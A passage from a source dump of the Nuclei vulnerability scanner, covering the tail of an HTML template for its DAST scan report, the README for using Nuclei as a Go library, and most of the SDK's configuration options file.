border-left-color: var(--medium); }\n        .severity-low { border-left-color: var(--low); }\n        .severity-info { border-left-color: var(--info); }\n\n        .progress-bar {\n            width: 100%;\n            height: 2px;\n            background: var(--border-color);\n            margin-top: 5px;\n        }\n\n        .progress-fill {\n            height: 100%;\n            background: var(--text-color);\n            transition: width 0.3s ease;\n        }\n\n        @media (max-width: 768px) {\n            .grid {\n                grid-template-columns: 1fr;\n            }\n        }\n\n        /* Add these new CSS variables for light theme */\n        [data-theme=\"light\"] {\n            --bg-color: #ffffff;\n            --text-color: #2a2a2a;\n            --header-color: #087f5b;\n            --border-color: #e0e0e0;\n            --box-bg: #f8f9fa;\n            --muted: #6c757d;\n            --critical: #dc3545;\n            --high: #fd7e14;\n            --medium: #ffc107;\n            --low: #198754;\n            --info: #0dcaf0;\n        }\n\n        /* Add styles for the controls container */\n        .controls {\n            position: absolute;\n            top: 20px;\n            right: 20px;\n            display: flex;\n            gap: 15px;\n            align-items: center;\n            z-index: 100;\n        }\n\n        .theme-toggle, .json-button {\n            background: var(--box-bg);\n            border: 1px solid var(--border-color);\n            color: var(--text-color);\n            padding: 8px 15px;\n            cursor: pointer;\n            font-family: 'Geist Mono', monospace;\n            font-size: 14px;\n            transition: all 0.3s ease;\n            display: flex;\n            align-items: center;\n            gap: 8px;\n            border-radius: 4px;\n        }\n\n        .theme-toggle:hover, .json-button:hover {\n            border-color: var(--text-color);\n            background: var(--border-color);\n        }\n\n        /* Add styles for icons */\n        .theme-icon {\n            font-size: 1.1em;\n        }\n\n        /* Update stat box styles for better light theme contrast */\n        [data-theme=\"light\"] .stat-box {\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n        }\n\n        [data-theme=\"light\"] .section {\n            box-shadow: 0 1px 3px rgba(0,0,0,0.1);\n        }\n\n        .error-table {\n            width: 100%;\n            margin-top: 10px;\n        }\n\n        .error-row {\n            display: flex;\n            justify-content: space-between;\n            align-items: flex-start;\n            padding: 8px 0;\n            border-bottom: 1px solid var(--border-color);\n        }\n\n        .error-row:last-child {\n            border-bottom: none;\n        }\n\n        .error-message {\n            flex: 1;\n            padding-right: 20px;\n            word-break: break-word;\n            color: var(--muted);\n        }\n\n        .error-count {\n            white-space: nowrap;\n            color: var(--muted);\n            margin-right: 20px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"controls\">\n        <button class=\"theme-toggle\" onclick=\"toggleTheme()\">\n            <i class=\"bi bi-moon-fill theme-icon\" id=\"theme-icon\"></i>\n        </button>\n        <button class=\"json-button\" onclick=\"toggleJSON()\">\n            <i class=\"bi bi-code-slash\"></i>\n            JSON\n        </button>\n    </div>\n\n    <div class=\"report-header\">\n        <div class=\"ascii-header\">\n                     __     _\n   ____  __  _______/ /__  (_)\n  / __ \\/ / / / ___/ / _ \\/ /\n / / / / /_/ / /__/ /  __/ /\n/_/ /_/\\__,_/\\___/_/\\___/_/   {{.DASTServerInfo.NucleiVersion}}\n\n                projectdiscovery.io\n\nDynamic Application Security Testing (DAST) API Server\n        </div>\n        <div class=\"timestamp\">[+] Server started at: <span id=\"datetime\">{{.DASTScanStartTime}}</span></div>\n    </div>\n\n    <div class=\"section\">\n        <div class=\"section-header\">[*] Server Configuration</div>\n        <div class=\"terminal-line\"><span class=\"key\">Nuclei Version</span><span class=\"value\">{{.DASTServerInfo.NucleiVersion}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Template Version</span><span class=\"value\">{{.DASTServerInfo.NucleiTemplateVersion}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">DAST Server API</span><span class=\"value\">{{.DASTServerInfo.NucleiDastServerAPI}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Auth Status</span><span class=\"value\">{{if .DASTServerInfo.ServerAuthEnabled}}ENABLED{{else}}DISABLED{{end}}</span></div>\n    </div>\n\n    <div class=\"section\">\n        <div class=\"section-header\">[+] Scan Progress</div>      \n        <div class=\"terminal-line\"><span class=\"key\">Total Results</span><span class=\"value\">{{.DASTScanStatistics.TotalMatchedResults}} findings</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Endpoints In Queue</span><span class=\"value\">{{.DASTScanStatistics.EndpointsInQueue}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Currently Testing</span><span class=\"value\">{{.DASTScanStatistics.EndpointsBeingTested}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Components Tested</span><span class=\"value\">{{.DASTScanStatistics.TotalComponentsTested}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Endpoints Tested</span><span class=\"value\">{{.DASTScanStatistics.TotalEndpointsTested}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Templates Loaded</span><span class=\"value\">{{.DASTScanStatistics.TotalTemplatesLoaded}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Templates Tested</span><span class=\"value\">{{.DASTScanStatistics.TotalTemplatesTested}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Total Requests</span><span class=\"value\">{{.DASTScanStatistics.TotalFuzzedRequests}}</span></div>\n        <div class=\"terminal-line\"><span class=\"key\">Total Errors</span><span class=\"value\">{{.DASTScanStatistics.TotalErroredRequests}}</span></div>\n    </div>\n\n    <div class=\"section\">\n        <div class=\"section-header\">[!] Security Findings</div>\n        <div class=\"grid\">\n            <div class=\"stat-box severity-critical\">\n                <div class=\"key\">Critical</div>\n                <div class=\"value\">{{index .DASTScanSeverityBreakdown \"critical\"}} findings</div>\n            </div>\n            <div class=\"stat-box severity-high\">\n                <div class=\"key\">High</div>\n                <div class=\"value\">{{index .DASTScanSeverityBreakdown \"high\"}} findings</div>\n            </div>\n            <div class=\"stat-box severity-medium\">\n                <div class=\"key\">Medium</div>\n                <div class=\"value\">{{index .DASTScanSeverityBreakdown \"medium\"}} findings</div>\n            </div>\n            <div class=\"stat-box severity-low\">\n                <div class=\"key\">Low</div>\n                <div class=\"value\">{{index .DASTScanSeverityBreakdown \"low\"}} findings</div>\n            </div>\n            <div class=\"stat-box severity-info\">\n                <div class=\"key\">Info</div>\n                <div class=\"value\">{{index .DASTScanSeverityBreakdown \"info\"}} findings</div>\n            </div>\n        </div>\n    </div>\n\n    <div class=\"section\">\n        <div class=\"section-header\">[-] Status Codes Breakdown</div>\n            <!-- Status Codes Breakdown -->\n            <div class=\"terminal-line\"><span class=\"key\">Response Codes</span></div>\n            {{range $status, $count := .DASTScanStatusStatistics}}\n            <div class=\"terminal-line\"><span class=\"key\">&nbsp;&nbsp;{{$status}}</span><span class=\"value\">{{$count}} times</span></div>\n        {{end}}\n    </div>\n\n    <div class=\"section\">\n        <div class=\"section-header\">[-] Error Breakdown</div>\n        <div class=\"error-table\">\n            {{range $error, $count := .DASTScanErrorStatistics}}\n            <div class=\"error-row\">\n                <div class=\"error-message\">{{$error}}</div>\n                <div class=\"error-count\">{{$count}} times</div>\n            </div>\n            {{end}}\n        </div>\n    </div>\n\n    <script>\n        // Theme toggle functionality\n        function toggleTheme() {\n            const body = document.body;\n            const themeIcon = document.getElementById('theme-icon');\n            const currentTheme = body.getAttribute('data-theme');\n            \n            if (currentTheme === 'light') {\n                body.removeAttribute('data-theme');\n                localStorage.setItem('theme', 'dark');\n                themeIcon.className = 'bi bi-moon-fill theme-icon';\n            } else {\n                body.setAttribute('data-theme', 'light');\n                localStorage.setItem('theme', 'light');\n                themeIcon.className = 'bi bi-sun-fill theme-icon';\n            }\n        }\n\n        // Load saved theme preference\n        document.addEventListener('DOMContentLoaded', () => {\n            const savedTheme = localStorage.getItem('theme');\n            const themeIcon = document.getElementById('theme-icon');\n            \n            if (savedTheme === 'light') {\n                document.body.setAttribute('data-theme', 'light');\n                themeIcon.className = 'bi bi-sun-fill theme-icon';\n            }\n        });\n\n        function toggleJSON() {\n            const url = new URL(window.location.href);\n            url.pathname = url.pathname + '.json';\n            window.location.href = url.toString();\n        }\n    </script>\n</body>\n</html>"
  },
  {
    "path": "lib/README.md",
    "content": "## Using Nuclei as Library\n\nNuclei was primarily built as a CLI tool, but with increasing choice of users wanting to use nuclei as library in their own automation, we have added a simplified Library/SDK of nuclei in v3\n\n### Installation\n\nTo add nuclei as a library to your go project, you can use the following command:\n\n```bash\ngo get -u github.com/projectdiscovery/nuclei/v3/lib\n```\n\nOr add below import to your go file and let IDE handle the rest:\n\n```go\nimport nuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n```\n\n## Basic Example of using Nuclei Library/SDK\n\n```go\n// create nuclei engine with options\n\tne, err := nuclei.NewNucleiEngine(\n\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{Severity: \"critical\"}), // run critical severity templates only\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// load targets and optionally probe non http/https targets\n\tne.LoadTargets([]string{\"scanme.sh\"}, false)\n\terr = ne.ExecuteWithCallback(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer ne.Close()\n```\n\n## Advanced Example of using Nuclei Library/SDK\n\nFor Various use cases like batching etc. you might want to run nuclei in goroutines this can be done by using `nuclei.NewThreadSafeNucleiEngine`\n\n```go\n// create nuclei engine with options\n\tne, err := nuclei.NewThreadSafeNucleiEngine()\n\tif err != nil{\n        panic(err)\n    }\n\t// setup waitgroup to handle concurrency\n\twg := &sync.WaitGroup{}\n\n\t// scan 1 = run dns templates on scanme.sh\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"http\"}))\n\t\tif err != nil {\n            panic(err)\n        }\n\t}()\n\n\t// scan 2 = run http templates on honey.scanme.sh\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"honey.scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}))\n\t\tif err != nil {\n            panic(err)\n        }\n\t}()\n\n\t// wait for all scans to finish\n\twg.Wait()\n\tdefer ne.Close()\n```\n\n## More Documentation\n\nFor complete documentation of nuclei library, please refer to [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib) which contains all available options and methods.\n\n\n\n### Note\n\n| :exclamation:  **Disclaimer**  |\n|---------------------------------|\n| **This project is in active development**. Expect breaking changes with releases. Review the release changelog before updating. |\n| This project was primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. |"
  },
  {
    "path": "lib/config.go",
    "content": "package nuclei\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tpkgtypes \"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// TemplateSources contains template sources\n// which define where to load templates from\ntype TemplateSources struct {\n\tTemplates       []string // template file/directory paths\n\tWorkflows       []string // workflow file/directory paths\n\tRemoteTemplates []string // remote template urls\n\tRemoteWorkflows []string // remote workflow urls\n\tTrustedDomains  []string // trusted domains for remote templates/workflows\n}\n\n// WithTemplatesOrWorkflows sets templates / workflows to use /load\nfunc WithTemplatesOrWorkflows(sources TemplateSources) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\t// by default all of these values are empty\n\t\te.opts.Templates = sources.Templates\n\t\te.opts.Workflows = sources.Workflows\n\t\te.opts.TemplateURLs = sources.RemoteTemplates\n\t\te.opts.WorkflowURLs = sources.RemoteWorkflows\n\t\te.opts.RemoteTemplateDomainList = append(e.opts.RemoteTemplateDomainList, sources.TrustedDomains...)\n\t\treturn nil\n\t}\n}\n\n// config contains all SDK configuration options\ntype TemplateFilters struct {\n\tSeverity             string   // filter by severities (accepts CSV values of info, low, medium, high, critical)\n\tExcludeSeverities    string   // filter by excluding severities (accepts CSV values of info, low, medium, high, critical)\n\tProtocolTypes        string   // filter by protocol types\n\tExcludeProtocolTypes string   // filter by excluding protocol types\n\tAuthors              []string // filter by author\n\tTags                 []string // filter by tags present in template\n\tExcludeTags          []string // filter by excluding tags present in template\n\tIncludeTags          []string // filter by including tags present in template\n\tIDs                  []string // filter by template IDs\n\tExcludeIDs           []string // filter by excluding template IDs\n\tTemplateCondition    []string // DSL condition/ expression\n}\n\n// WithTemplateFilters sets template filters and only templates matching the filters will be\n// loaded and executed\nfunc WithTemplateFilters(filters TemplateFilters) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\ts := severity.Severities{}\n\t\tif err := s.Set(filters.Severity); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tes := severity.Severities{}\n\t\tif err := es.Set(filters.ExcludeSeverities); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpt := types.ProtocolTypes{}\n\t\tif err := pt.Set(filters.ProtocolTypes); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tept := types.ProtocolTypes{}\n\t\tif err := ept.Set(filters.ExcludeProtocolTypes); err != nil {\n\t\t\treturn err\n\t\t}\n\t\te.opts.Authors = filters.Authors\n\t\te.opts.Tags = filters.Tags\n\t\te.opts.ExcludeTags = filters.ExcludeTags\n\t\te.opts.IncludeTags = filters.IncludeTags\n\t\te.opts.IncludeIds = filters.IDs\n\t\te.opts.ExcludeIds = filters.ExcludeIDs\n\t\te.opts.Severities = s\n\t\te.opts.ExcludeSeverities = es\n\t\te.opts.Protocols = pt\n\t\te.opts.ExcludeProtocols = ept\n\t\te.opts.IncludeConditions = filters.TemplateCondition\n\t\treturn nil\n\t}\n}\n\n// InteractshOpts contains options for interactsh\ntype InteractshOpts interactsh.Options\n\n// WithInteractshOptions sets interactsh options\nfunc WithInteractshOptions(opts InteractshOpts) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\t// WithInteractshOptions can be used when creating ThreadSafeNucleiEngine but not after it's initialized\n\t\tif e.mode == threadSafe && e.interactshOpts != nil {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithInteractshOptions\")\n\t\t}\n\t\toptsPtr := &opts\n\t\te.interactshOpts = (*interactsh.Options)(optsPtr)\n\t\treturn nil\n\t}\n}\n\n// Concurrency options\ntype Concurrency struct {\n\tTemplateConcurrency           int // number of templates to run concurrently (per host in host-spray mode)\n\tHostConcurrency               int // number of hosts to scan concurrently  (per template in template-spray mode)\n\tHeadlessHostConcurrency       int // number of hosts to scan concurrently for headless templates  (per template in template-spray mode)\n\tHeadlessTemplateConcurrency   int // number of templates to run concurrently for headless templates (per host in host-spray mode)\n\tJavascriptTemplateConcurrency int // number of templates to run concurrently for javascript templates (per host in host-spray mode)\n\tTemplatePayloadConcurrency    int // max concurrent payloads to run for a template (a good default is 25)\n\tProbeConcurrency              int // max concurrent http probes to run (a good default is 50)\n}\n\n// WithConcurrency sets concurrency options\nfunc WithConcurrency(opts Concurrency) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\t// minimum required is 1\n\t\tif opts.TemplateConcurrency <= 0 {\n\t\t\treturn errors.New(\"template threads must be at least 1\")\n\t\t}\n\t\tif opts.HostConcurrency <= 0 {\n\t\t\treturn errors.New(\"host concurrency must be at least 1\")\n\t\t}\n\t\tif opts.HeadlessHostConcurrency <= 0 {\n\t\t\treturn errors.New(\"headless host concurrency must be at least 1\")\n\t\t}\n\t\tif opts.HeadlessTemplateConcurrency <= 0 {\n\t\t\treturn errors.New(\"headless template threads must be at least 1\")\n\t\t}\n\t\tif opts.JavascriptTemplateConcurrency <= 0 {\n\t\t\treturn errors.New(\"js must be at least 1\")\n\t\t}\n\t\tif opts.TemplatePayloadConcurrency <= 0 {\n\t\t\treturn errors.New(\"payload concurrency must be at least 1\")\n\t\t}\n\t\tif opts.ProbeConcurrency <= 0 {\n\t\t\treturn errors.New(\"probe concurrency must be at least 1\")\n\t\t}\n\t\te.opts.TemplateThreads = opts.TemplateConcurrency\n\t\te.opts.BulkSize = opts.HostConcurrency\n\t\te.opts.HeadlessBulkSize = opts.HeadlessHostConcurrency\n\t\te.opts.HeadlessTemplateThreads = opts.HeadlessTemplateConcurrency\n\t\te.opts.JsConcurrency = opts.JavascriptTemplateConcurrency\n\t\te.opts.PayloadConcurrency = opts.TemplatePayloadConcurrency\n\t\te.opts.ProbeConcurrency = opts.ProbeConcurrency\n\t\treturn nil\n\t}\n}\n\n// WithResponseReadSize sets the maximum size of response to read in bytes.\n// A value of 0 means no limit. Recommended values: 1MB (1048576) to 10MB (10485760).\nfunc WithResponseReadSize(responseReadSize int) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif responseReadSize < 0 {\n\t\t\treturn errors.New(\"response read size must be non-negative\")\n\t\t}\n\t\te.opts.ResponseReadSize = responseReadSize\n\t\treturn nil\n\t}\n}\n\n// WithGlobalRateLimit sets global rate (i.e all hosts combined) limit options\n// Deprecated: will be removed in favour of WithGlobalRateLimitCtx in next release\nfunc WithGlobalRateLimit(maxTokens int, duration time.Duration) NucleiSDKOptions {\n\treturn WithGlobalRateLimitCtx(context.Background(), maxTokens, duration)\n}\n\n// WithGlobalRateLimitCtx allows setting a global rate limit for the entire engine\nfunc WithGlobalRateLimitCtx(ctx context.Context, maxTokens int, duration time.Duration) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.RateLimit = maxTokens\n\t\te.opts.RateLimitDuration = duration\n\t\te.rateLimiter = utils.GetRateLimiter(ctx, e.opts.RateLimit, e.opts.RateLimitDuration)\n\t\treturn nil\n\t}\n}\n\n// HeadlessOpts contains options for headless templates\ntype HeadlessOpts struct {\n\tPageTimeout     int // timeout for page load\n\tShowBrowser     bool\n\tHeadlessOptions []string\n\tUseChrome       bool\n}\n\n// EnableHeadless allows execution of headless templates\n//\n// Warning: enabling headless mode may open up attack surface due to browser\n// usage and can be prone to exploitation by custom unverified templates if not\n// properly configured.\nfunc EnableHeadlessWithOpts(hopts *HeadlessOpts) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.Headless = true\n\t\tif hopts != nil {\n\t\t\te.opts.HeadlessOptionalArguments = hopts.HeadlessOptions\n\t\t\te.opts.PageTimeout = hopts.PageTimeout\n\t\t\te.opts.ShowBrowser = hopts.ShowBrowser\n\t\t\te.opts.UseInstalledChrome = hopts.UseChrome\n\t\t}\n\t\treturn nil\n\t}\n}\n\n// StatsOptions\ntype StatsOptions struct {\n\tInterval         int\n\tJSON             bool\n\tMetricServerPort int\n}\n\n// EnableStats enables Stats collection with defined interval(in sec) and callback\n// Note: callback is executed in a separate goroutine\nfunc EnableStatsWithOpts(opts StatsOptions) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"EnableStatsWithOpts\")\n\t\t}\n\t\tif opts.Interval == 0 {\n\t\t\topts.Interval = 5 //sec\n\t\t}\n\t\te.opts.StatsInterval = opts.Interval\n\t\te.enableStats = true\n\t\te.opts.StatsJSON = opts.JSON\n\t\te.opts.MetricsPort = opts.MetricServerPort\n\t\treturn nil\n\t}\n}\n\n// VerbosityOptions\ntype VerbosityOptions struct {\n\tVerbose       bool // show verbose output\n\tSilent        bool // show only results\n\tDebug         bool // show debug output\n\tDebugRequest  bool // show request in debug output\n\tDebugResponse bool // show response in debug output\n\tShowVarDump   bool // show variable dumps in output\n}\n\n// WithVerbosity allows setting verbosity options of (internal) nuclei engine\n// and does not affect SDK output\nfunc WithVerbosity(opts VerbosityOptions) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithVerbosity\")\n\t\t}\n\t\te.opts.Verbose = opts.Verbose\n\t\te.opts.Silent = opts.Silent\n\t\te.opts.Debug = opts.Debug\n\t\te.opts.DebugRequests = opts.DebugRequest\n\t\te.opts.DebugResponse = opts.DebugResponse\n\t\tif opts.ShowVarDump {\n\t\t\tvardump.EnableVarDump = true\n\t\t}\n\t\treturn nil\n\t}\n}\n\n// NetworkConfig contains network config options\n// ex: retries , httpx probe , timeout etc\ntype NetworkConfig struct {\n\tDisableMaxHostErr     bool     // Disable max host error optimization (Hosts are not skipped even if they are not responding)\n\tInterface             string   // Interface to use for network scan\n\tInternalResolversList []string // Use a list of resolver\n\tLeaveDefaultPorts     bool     // Leave default ports for http/https\n\tMaxHostError          int      // Maximum number of host errors to allow before skipping that host\n\tRetries               int      // Number of retries\n\tSourceIP              string   // SourceIP sets custom source IP address for network requests\n\tSystemResolvers       bool     // Use system resolvers\n\tTimeout               int      // Timeout in seconds\n\tTrackError            []string // Adds given errors to max host error watchlist\n}\n\n// WithNetworkConfig allows setting network config options\nfunc WithNetworkConfig(opts NetworkConfig) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\t// WithNetworkConfig can be used when creating ThreadSafeNucleiEngine but not after it's initialized\n\t\tif e.mode == threadSafe && e.hostErrCache != nil {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithNetworkConfig\")\n\t\t}\n\t\te.opts.NoHostErrors = opts.DisableMaxHostErr\n\t\te.opts.MaxHostError = opts.MaxHostError\n\t\tif e.opts.ShouldUseHostError() {\n\t\t\tmaxHostError := opts.MaxHostError\n\t\t\tif e.opts.TemplateThreads > maxHostError {\n\t\t\t\te.Logger.Warning().Msg(\"The concurrency value is higher than max-host-error\")\n\t\t\t\te.Logger.Info().Msgf(\"Adjusting max-host-error to the concurrency value: %d\", e.opts.TemplateThreads)\n\t\t\t\tmaxHostError = e.opts.TemplateThreads\n\t\t\t\te.opts.MaxHostError = maxHostError\n\t\t\t}\n\t\t\tcache := hosterrorscache.New(maxHostError, hosterrorscache.DefaultMaxHostsCount, e.opts.TrackError)\n\t\t\tcache.SetVerbose(e.opts.Verbose)\n\t\t\te.hostErrCache = cache\n\t\t}\n\t\te.opts.Timeout = opts.Timeout\n\t\te.opts.Retries = opts.Retries\n\t\te.opts.LeaveDefaultPorts = opts.LeaveDefaultPorts\n\t\te.opts.Interface = opts.Interface\n\t\te.opts.SourceIP = opts.SourceIP\n\t\te.opts.SystemResolvers = opts.SystemResolvers\n\t\te.opts.InternalResolversList = opts.InternalResolversList\n\t\treturn nil\n\t}\n}\n\n// WithProxy allows setting proxy options\nfunc WithProxy(proxy []string, proxyInternalRequests bool) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithProxy\")\n\t\t}\n\t\te.opts.Proxy = proxy\n\t\te.opts.ProxyInternal = proxyInternalRequests\n\t\treturn nil\n\t}\n}\n\n// WithScanStrategy allows setting scan strategy options\nfunc WithScanStrategy(strategy string) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.ScanStrategy = strategy\n\t\treturn nil\n\t}\n}\n\n// OutputWriter\ntype OutputWriter output.Writer\n\n// UseOutputWriter allows setting custom output writer\n// by default a mock writer is used with user defined callback\n// if outputWriter is used callback will be ignored\nfunc UseOutputWriter(writer OutputWriter) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"UseOutputWriter\")\n\t\t}\n\t\te.customWriter = writer\n\t\treturn nil\n\t}\n}\n\n// StatsWriter\ntype StatsWriter progress.Progress\n\n// UseStatsWriter allows setting a custom stats writer\n// which can be used to write stats somewhere (ex: send to webserver etc)\nfunc UseStatsWriter(writer StatsWriter) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"UseStatsWriter\")\n\t\t}\n\t\te.customProgress = writer\n\t\treturn nil\n\t}\n}\n\n// WithTemplateUpdateCallback allows setting a callback which will be called\n// when nuclei templates are outdated\n// Note: Nuclei-templates are crucial part of nuclei and using outdated templates or nuclei sdk is not recommended\n// as it may cause unexpected results due to compatibility issues\nfunc WithTemplateUpdateCallback(disableTemplatesAutoUpgrade bool, callback func(newVersion string)) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithTemplateUpdateCallback\")\n\t\t}\n\t\te.disableTemplatesAutoUpgrade = disableTemplatesAutoUpgrade\n\t\te.onUpdateAvailableCallback = callback\n\t\treturn nil\n\t}\n}\n\n// WithSandboxOptions allows setting supported sandbox options\nfunc WithSandboxOptions(allowLocalFileAccess bool, restrictLocalNetworkAccess bool) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\tif e.mode == threadSafe {\n\t\t\treturn errkit.Wrap(ErrOptionsNotSupported, \"WithSandboxOptions\")\n\t\t}\n\t\te.opts.AllowLocalFileAccess = allowLocalFileAccess\n\t\te.opts.RestrictLocalNetworkAccess = restrictLocalNetworkAccess\n\t\treturn nil\n\t}\n}\n\n// EnableCodeTemplates allows loading/executing code protocol templates\nfunc EnableCodeTemplates() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.EnableCodeTemplates = true\n\t\te.opts.EnableSelfContainedTemplates = true\n\t\treturn nil\n\t}\n}\n\n// EnableSelfContainedTemplates allows loading/executing self-contained templates\nfunc EnableSelfContainedTemplates() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.EnableSelfContainedTemplates = true\n\t\treturn nil\n\t}\n}\n\n// EnableGlobalMatchersTemplates allows loading/executing global-matchers templates\nfunc EnableGlobalMatchersTemplates() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.EnableGlobalMatchersTemplates = true\n\t\treturn nil\n\t}\n}\n\n// DisableTemplateCache disables template caching\nfunc DisableTemplateCache() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.DoNotCacheTemplates = true\n\t\treturn nil\n\t}\n}\n\n// EnableFileTemplates allows loading/executing file protocol templates\nfunc EnableFileTemplates() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.EnableFileTemplates = true\n\t\treturn nil\n\t}\n}\n\n// WithHeaders allows setting custom header/cookie to include in all http request in header:value format\nfunc WithHeaders(headers []string) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.CustomHeaders = headers\n\t\treturn nil\n\t}\n}\n\n// WithVars allows setting custom variables to use in templates/workflows context\nfunc WithVars(vars []string) NucleiSDKOptions {\n\t// Create a goflags.RuntimeMap\n\truntimeVars := goflags.RuntimeMap{}\n\tfor _, v := range vars {\n\t\terr := runtimeVars.Set(v)\n\t\tif err != nil {\n\t\t\treturn func(e *NucleiEngine) error {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.Vars = runtimeVars\n\t\treturn nil\n\t}\n}\n\n// EnablePassiveMode allows enabling passive HTTP response processing mode\nfunc EnablePassiveMode() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.OfflineHTTP = true\n\t\te.opts.DisableHTTPProbe = true\n\t\treturn nil\n\t}\n}\n\n// EnableMatcherStatus allows enabling matcher status\nfunc EnableMatcherStatus() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.MatcherStatus = true\n\t\treturn nil\n\t}\n}\n\n// WithAuthProvider allows setting a custom authprovider implementation\nfunc WithAuthProvider(provider authprovider.AuthProvider) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.authprovider = provider\n\t\treturn nil\n\t}\n}\n\n// LoadSecretsFromFile allows loading secrets from file\nfunc LoadSecretsFromFile(files []string, prefetch bool) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.SecretsFile = goflags.StringSlice(files)\n\t\te.opts.PreFetchSecrets = prefetch\n\t\treturn nil\n\t}\n}\n\n// DASTMode only run DAST templates\nfunc DASTMode() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.DAST = true\n\t\treturn nil\n\t}\n}\n\n// SignedTemplatesOnly only run signed templates and disabled loading all unsigned templates\nfunc SignedTemplatesOnly() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.opts.DisableUnsignedTemplates = true\n\t\treturn nil\n\t}\n}\n\n// WithCatalog uses a supplied catalog\nfunc WithCatalog(cat catalog.Catalog) NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error {\n\t\te.catalog = cat\n\t\treturn nil\n\t}\n}\n\n// DisableUpdateCheck disables nuclei update check\nfunc DisableUpdateCheck() NucleiSDKOptions {\n\treturn func(e *NucleiEngine) error 